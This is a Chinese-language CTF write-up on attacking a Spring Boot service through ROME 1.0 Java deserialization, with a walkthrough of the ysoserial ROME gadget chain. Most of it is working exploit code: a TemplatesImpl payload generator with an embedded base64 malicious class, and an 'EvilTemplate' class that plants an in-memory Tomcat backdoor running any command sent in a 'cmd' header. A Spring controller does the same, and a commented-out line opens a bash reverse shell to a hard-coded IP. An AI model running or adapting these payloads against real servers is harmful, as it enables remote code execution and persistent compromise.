题目分析
spring-boot 用的ROME1.0
ysoserial上的利用链,可见是通过HashMap触发的
题中ban掉了HashMap
但可以发现下面直接调用了toString方法,所以我们直接截取利用链的后一半,反序列化ObjectBean并调用toString即可
exp
package com.summer.rome;
import com.summer.util.SerializeUtil;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class RomeUn {
public static void main(String[] args) throws Exception{
//直接执行命令的方式
// ClassPool pool = ClassPool.getDefault();
//CtClass cc = pool.get(RomeUn.class.getName());
// String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// String ClassName = "biodog_evil";
// cc.setName(ClassName);
// cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
// cc.writeFile("./");
// String evilClass="yv66vgAAADQA2AoANgBeCgBfAGAHANUKAGIAYwoAXwBkCABlCgBmAGcKAGgAaQcAagoACQBeCABrCgAJAGwKAG0AbgoACQBvCgAJAHAKAGYAcQcAcgoAZgBzCAB0CgBmAHUKAGYAdgcAdwoAFgBeCAB4BwBKCgB5AHoIAHsIAHwIAH0HAH4KAB4AXgcAfwcAgAoAIACBBwCCCgAjAIEHAIMHAIQKACUAgQcAhQoAKABeBwCGCgAqAIcKACoAiAoAKACJCgAqAIoKAIsAjAoAjQCOCQBtAI8IAJAIAJEKACYAkgoAkwCUBwCVAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABhMY29tL3N1bW1lci9yb21lL1JvbWVVbjsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAEcG9vbAEAFUxqYXZhc3Npc3QvQ2xhc3NQb29sOwEAAmNjAQATTGphdmFzc2lzdC9DdENsYXNzOwEAA2NtZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAD3JhbmRvbUNsYXNzTmFtZQEACGV2aWxDb2RlAQACW0IBAAl0ZW1wbGF0ZXMBADxMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3RyYXgvVGVtcGxhdGVzSW1wbDsBAAx0b1N0cmluZ0JlYW4BACxMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvVG9TdHJpbmdCZWFuOwEACmVxdWFsc0JlYW4BACpMY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbjsBAApvYmplY3RCZWFuAQAqTGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL09iamVjdEJlYW47AQAVYnl0ZUFycmF5T3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAA291dAEAHExqYXZhL2lvL09iamVjdE91dHB1dFN0cmVhbTsBAANzc3MBAANleHABAApFeGNlcHRpb25zBwCWAQAQTWV0aG9kUGFyYW1ldGVycwEAClNvdXJjZUZpbGUBAAtSb21lVW4uamF2YQwANwA4BwCXDACYAJkBABZjb20vc3VtbWVyL3JvbWUvUm9tZVVuBwCaDACbAJwMAJ0AngEAMGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJjYWxjLmV4ZSIpOwcAnwwAoAChBwCiDACjAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAB25pY2UwZTMMAKUApgcApwwAqACpDAClAKoMAKsAnAwArACkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAwArQCuAQACLi8MAK8ApAwAsACxAQA6Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3RyYXgvVGVtcGxhdGVzSW1wbAEACl9ieXRlY29kZXMHALIMALMAtAEABV9uYW1lAQAEZmVuZwEACV90ZmFjdG9yeQEAQ2NvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy90cmF4L1RyYW5zZm9ybWVyRmFjdG9yeUltcGwBACpjb20vc3VuL3N5bmRpY2F0aW9uL2ZlZWQvaW1wbC9Ub1N0cmluZ0JlYW4BAB1qYXZheC94bWwvdHJhbnNmb3JtL1RlbXBsYXRlcwwANwC1AQAoY29tL3N1bi9zeW5kaWNhdGlvbi9mZWVkL2ltcGwvRXF1YWxzQmVhbgEAKGNvbS9zdW4vc3luZGljYXRpb24vZmVlZC9pbXBsL09iamVjdEJlYW4BABBqYXZhL2xhbmcvU3RyaW5nAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0BABpqYXZhL2lvL09iamVjdE91dHB1dFN0cmVhbQwANwC2DAC3ALgMALkAsQwAugA4BwC7DAC8AL8HAMAMAMEAwgwAVQDDAQABKwEAAyUyYgwAxADFBwDGDADHAKQBABBqYXZhL2xhbmcvT2JqZWN0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAE2phdmFzc2lzdC9DbGFzc1Bvb2wBAApnZXREZWZhdWx0AQAXKClMamF2YXNzaXN0L0NsYXNzUG9vbDsBAA9qYXZhL2xhbmcvQ2xhc3MBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsBAANnZXQBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhc3Npc3QvQ3RDbGFzczsBABFqYXZhc3Npc3QvQ3RDbGFzcwEAFG1ha2VDbGFzc0luaXRpYWxpemVyAQAbKClMamF2YXNzaXN0L0N0Q29uc3RydWN0b3I7AQAXamF2YXNzaXN0L0N0Q29uc3RydWN0b3IBAAxpbnNlcnRCZWZvcmUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQAIbmFub1RpbWUBAAMoKUoBABwoSilMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAAdzZXROYW1lAQANc2V0U3VwZXJjbGFzcwEAFihMamF2YXNzaXN0L0N0Q2xhc3M7KVYBAAl3cml0ZUZpbGUBAAp0b0J5dGVjb2RlAQAEKClbQgEAHWNvbS9zdW1tZXIvdXRpbC9TZXJpYWxpemVVdGlsAQANc2V0RmllbGRWYWx1ZQEAOShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDspVgEAJihMamF2YS9sYW5nL0NsYXNzO0xqYXZhL2xhbmcvT2JqZWN0OylWAQAZKExqYXZhL2lvL091dHB1dFN0cmVhbTspVgEAC3dyaXRlT2JqZWN0AQAVKExqYXZhL2xhbmcvT2JqZWN0OylWAQALdG9CeXRlQXJyYXkBAAVjbG9zZQEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBABVMamF2YS9pby9QcmludFN0cmVhbTsBAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHAMkBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DADLAMwKAMoAzQEACGNhbGMuZXhlCADPAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwA0QDSCgDKANMBABZuaWNlMGUzMTMxOTkwMDAzNDc0MjAwAQAYTG5pY2UwZTMxMzE5OTAwMDM0NzQyMDA7CgARAF4AIQADABEAAAAAAAMAAQA3ADgAAQA5AAAALwABAAEAAAAFKrcA17EAAAACADoAAAAGAAEAAAAUADsAAAAMAAEAAAAFADwA1gAAAAkAPgA/AAMAOQAAAe8ABgAOAAAA57gAAkwrEgO2AAS2AAVNEgZOLLYABy22AAi7AAlZtwAKEgu2AAy4AA22AA62AA86BCwZBLYAECwrEhG2AAS2AAW2ABIsEhO2ABQstgAVOgW7ABZZtwAXOgYZBhIYBL0AGVkDGQVTuAAaGQYSGxIcuAAaGQYSHbsAHlm3AB+4ABq7ACBZEiEZBrcAIjoHuwAjWRIgGQe3ACQ6CLsAJVkSJhIctwAnOgm7AChZtwApOgq7ACpZGQq3ACs6CxkLGQm2ACwZCrYALToMGQu2AC64AC8ZDLYAMDoNsgAxGQ0SMhIztgA0tgA1sQAAAAIAOgAAAGIAGAAAABYABAAXAA4AGQARABsAGQAdADAAHgA2ACAAQwAiAEkAIwBPACQAWAAlAGgAJgBxACcAfwApAIwAKgCZACwApgA4AK8AOQC6ADoAwQA7AMgAPADNAD0A1wA+AOYAQAA7AAAAjgAOAAAA5wBAAEEAAAAEAOMAQgBDAAEADgDZAEQARQACABEA1gBGAEcAAwAwALcASABHAAQATwCYAEkASgAFAFgAjwBLAEwABgCMAFsATQBOAAcAmQBOAE8AUAAIAKYAQQBRAFIACQCvADgAUwBUAAoAugAtAFUAVgALAMgAHwBXAEoADADXABAAWABHAA0AWQAAAAQAAQBaAFsAAAAFAQBAAAAACADIADgAAQA5AAAAFgACAAAAAAAKuADOEtC2ANRXsQAAAAAAAgBcAAAAAgBdAL4AAAAKAAEAjQCLAL0ACQ==";
// evilcode 为base64的恶意类 cat biodog_evil.class|base64 -w 0
// byte[][] evilCode = new byte[][]{Base64.getDecoder().decode(evilClass)};
//decode
//*************************************
//不出网,加载恶意类的方式
byte[][] evilCode=new byte[][]{ClassPool.getDefault().get(EvilTemplate.class.getName()).toBytecode()};
// 实例化类并设置属性
TemplatesImpl templatesimpl = new TemplatesImpl();
Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templatesimpl, evilCode);
Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templatesimpl, "test");
Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
fieldTfactory.setAccessible(true);
fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
ObjectBean objectBean1 = new ObjectBean(Templates.class, templatesimpl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(objectBean1);
byte[] sss = byteArrayOutputStream.toByteArray();
out.close();
String exp = Base64.getEncoder().encodeToString(sss);
System.out.println(exp);
}
}
本地可通的版本过了blacklist,但原题不出网
r2师傅的不出网恶意tmpl
//EvilTemplate
package com.summer.rome;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.Map;
public class EvilTemplate extends AbstractTranslet implements Serializable {
static Process exec(String[] cmds) {
// try {
// return Runtime.getRuntime().exec(cmds);
// } catch (IOException e) {
// return null;
// }
try {
Class clz = Class.forName("java.lang.ProcessImpl");
Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
Process process = (Process) method.invoke(clz, cmds, null, null, null, false);
return process;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
static{
// exec(new String[]{"bash","-c","bash -i >& /dev/tcp/114.55.6.148/8899 0>&1 "});
exec(new String[]{"calc.exe"});
try{
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);
for(int i = 0; i < threads.length; i++) {
try{
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object obj = f.get(t);
if (!(obj instanceof Runnable)) continue;
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
obj = f.get(obj);
try{
f = obj.getClass().getDeclaredField("handler");
}catch (NoSuchFieldException e){
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
obj = f.get(obj);
try{
f = obj.getClass().getSuperclass().getDeclaredField("global");
}catch(NoSuchFieldException e){
f = obj.getClass().getDeclaredField("global");
}
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
java.util.List processors = (java.util.List)(f.get(obj));
for(int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
byte[] result = (new java.util.Scanner(exec(cmds).getInputStream())).useDelimiter("\\A").next().getBytes();
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
} catch (Exception var5) {
Class cls = Class.forName("java.nio.ByteBuffer");
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
}
flag = true;
}
if (flag) break;
}
if (flag) break;
}catch(Exception e){
e.printStackTrace();
}
}
}catch (Exception e){
e.printStackTrace();
}
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
@Override
public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException {
}
}
github上的
package summersec.echo.Controller;
import org.springframework.stereotype.Controller;
//import com.management.bean.User;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import java.io.*;
import java.lang.reflect.Method;
import java.util.Scanner;
/**
* @ClassName: SpringMVCTestController
* @Description: TODO
* @Author: Summer
* @Date: 2021/6/17 18:25
* @Version: v1.0.0
* @Description:
**/
@Controller
class SpringEcho {
@RequestMapping(value = "springecho")
public void SpringEcho2()throws Exception{
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream(),charsetName).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
}
}
值得一提的是他写了个SecurityManagere,如下,但好像并没有调用
绕过方法参考https://www.anquanke.com/post/id/151398
分析一下ysoserial的ROME链
exp
public class ROME1 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = (TemplatesImpl) Gadgets.createTemplatesImpl("calc.exe");
// 写法一:直接设置ToStringBean,设置_equalsBean的_beanClass和_obj
// ToStringBean delegate = new ToStringBean(Templates.class, templates);
// 写法二:设置ObjectBean,后续还是会调用ToStringBean的
ObjectBean delegate = new ObjectBean(Templates.class, templates);
// 设置一个无害的先
ObjectBean parent = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "noharm"));
HashMap hm = new HashMap();
hm.put(parent, "diggid");
hm.put("diggid", "diggid");
// 和写法一对应
// Reflections.setFieldValue(parent, "_equalsBean", new EqualsBean(ToStringBean.class, delegate));
// 和写法二对应
Reflections.setFieldValue(parent, "_equalsBean", new EqualsBean(ObjectBean.class, delegate));
Serializer.writeToFile("src/main/java/gadgets/rome/exp.bin", hm);
Serializer.readFromFile("src/main/java/gadgets/rome/exp.bin");
}
}
我们把原题中对HashMap的限制去掉
直接传入HashMap类,把ObjectBean放进去
成功传入并执行readObject go on
执行hashMap的readobject方法时会执行到hash方法,当传入ObjectBean时会进入ObjectBean的hashCode方法
然后执行equalsBean.beanHashCode()
会执行一个toString,后面打的断点没停就已经能弹出计算器了…不知道是不是IJ的问题,但我们继续挖一下,可以看到obj是一个ObjectBean,所以执行的是ObjectBean的toString
ObjectBean的toString调用了toStringBean的toString
先调用无参的,获取类名
传进有参的,先获取getter/setter
这里参考https://blog.diggid.top/2021/09/21/Java-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets%E5%88%86%E6%9E%90-ROME-BeanShell-C3P0/#%E5%88%A9%E7%94%A8%E9%93%BE
获取getter/setter的逻辑是,先从_introspected这个HashMap中获取(相当于一个缓存),一开始肯定获取不到,所以会调用getPDs方法去获取,获取到之后再缓存到_introspected中,获取的逻辑比较清晰,和大部分获取java
bean的getter/setter的逻辑基本一样:先获取所有方法,然后根据方法名来获取getter和setter,比如getter就是开头是”get”或”is”,由于这里不是根据属性名匹配的getter,所以只需要考虑开头就行了,不需要匹配属性名,setter同理。获取到getter的PropertyDescriptor后,建立PropertyName(getter名字去掉get且第四个字符小写)和PropertyDescriptor的映射关系放入HashMap中
假设我们设置的_beanClass是Templates,那么获取到的getter就只有getOutputProperties了。
获取到后invoke